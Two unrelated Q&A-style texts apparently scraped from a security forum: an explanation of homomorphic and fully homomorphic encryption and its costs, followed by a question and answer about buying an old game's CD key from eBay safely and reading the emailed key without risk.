Homomorphic encryption is about encryption schemes which allow computing with encrypted value without decrypting them. For instance, given E(a) and E(b) (the encryption of a and b), you can compute E(a+b) without knowing a, b nor the decryption key.

Homomorphic encryption schemes are very useful in voting schemes, with the following structure: voters encrypt their votes, the homomorphic property is used to add all votes together, and the result is decrypted (with group decryption by a set of authorities who need to gather together, in a very public way, to perform a decryption). There are several homomorphic encryption schemes, some have been known for decades (e.g. El Gamal). They are efficient, and secure (as secure as asymmetric encryption can be). Note that homomorphic encryption solves the question of anonymous tallying, but that's only a small part of a proper voting scheme (e.g. the voter must also prove that he encrypted a 0 or a 1, not a 20 -- otherwise, he could get 20 votes). Homomorphic encryption can also be used in digital cash systems, there again in order to ensure anonymity or some other properties.

Fully homomorphic encryption is a term which was coined when were first found encryption schemes which preserved two algebraic operations in a ring structure: namely, given E(a) and E(b), you can compute E(a+b) and E(ab). It turns out that with those two operations, you can compute just about everything. This is where the "cloud" gets into the picture: the cloud is powerful, but not trustworthy; hence, you could encrypt your data, send it to the cloud which performs the computation you want to do, and then decrypt the result.

Offloading computations to the cloud is, right now, a pure fantasy. The most efficient fully homomorphic encryption schemes currently known, based on a scheme by Gentry (published in 2009), are still very expensive, and the "arbitrary computation" part involves representing the computation as a circuit where each logic gate is emulated through its own homomorphic encryption. We are not talking about a 10x slowdown here; rather, we are talking about the whole Amazon EC2 cloud not being able, in a day, to perform homomorphically a computation which would take one second on a single iPhone. So while this is very interesting on a theoretical point of view, it will take a while before anything applicable in practice is discovered. Also, 2009 is quite recent; traditionally, we wait for at least 5 to 10 years before declaring that an asymmetric encryption scheme is "secure".


Buying keycodes online safely/anonymously I lost a cd key for a very old game and need to replace it with a new one. I can't find anymore physical copies to buy, but I found cd keys for them are offered on sites like Ebay which could replace my own. I would buy and they would email me the cd key via ebay or paypal or a personal email.

My concern is the sketchiness of this practice and distancing myself from the unlikely but possible blow-back. To narrow the discussion let's assume the buyer may have a hidden agenda, but that they are still providing the real code. I would also request the ethics of the situation not be discussed as these are covered in many similar discussion already.

How can I attain this keycode as anonymously as possible? Having my name and banking associated with the transaction is potentially unfavorable.
How can I attain this keycode without fear that my credit card information might be recharged or used in some sketchy business?
if the keycode is being emailed to me what do I need to do to safely view the code? I mean there's the obvious of not clicking third party links but I hear sometimes simply opening an email, even without loading images, is enough to hurt you?

What would be best practice to addressing these 3 concerns? I was thinking of maybe making a paypal account then paying with that then closing the paypal account afterwards so it couldn't be charged by a seller ever again. Would my bank and credit card only know that paypal was charging them for an obscure reason? Thus keeping the full details separate? Or is it different if I transfer the exact amount to paypal as a simple deposit, then do the transaction with just the deposited amount so its just paypal who knows. Or is it irrelevant to do any of this and I might as well just use my actual credit card directly via ebay? And in terms of opening and viewing that code safely how would I do it...and which email is best to use.

And since the seller is for sure going to give the code when paid, can I pay them in a more discreet way by refusing certain buyer protections? FOr example giving a clerk 5$ to come to your house and deliver milk tomorrow, versus signing a full contract with him to come to your house and deliver milk tomorrow for 5$...a contract in that case is less anonymous.

How can I attain this keycode as anonymously as possible? Having my name and banking associated with the transaction is potentially unfavorable.

Why? I wouldn't worry. First, it's fairly rare that vendors go after individual end users. Second, it's an old game, probably not sold by the original vendor any more.

  How can I attain this keycode without fear that my credit card information might be recharged or used in some sketchy business?

Pay via PayPal. That means the seller doesn't get your credit card information, and cannot charge you anything. You send a payment, they don't charge you.

A recurring payment (or charge-like system) is possible with PayPal. They will tell you rather clearly that you're setting up recurring payment. This does not happen when you pay for something you bought on eBay. There's zero reason to create a new account for this.

  if the keycode is being emailed to me what do I need to do to safely view the code? I mean there's the obvious of not clicking third party links but I hear sometimes simply opening an email, even without loading images, is enough to hurt you?

Read the e-mail.

There's security problem in e-mail clients now and then, but as a general rule they are secure enough that we use them to read information from random strangers. If you're paranoid, set up your e-mail client to only show plain text, and not attempt to render HTML.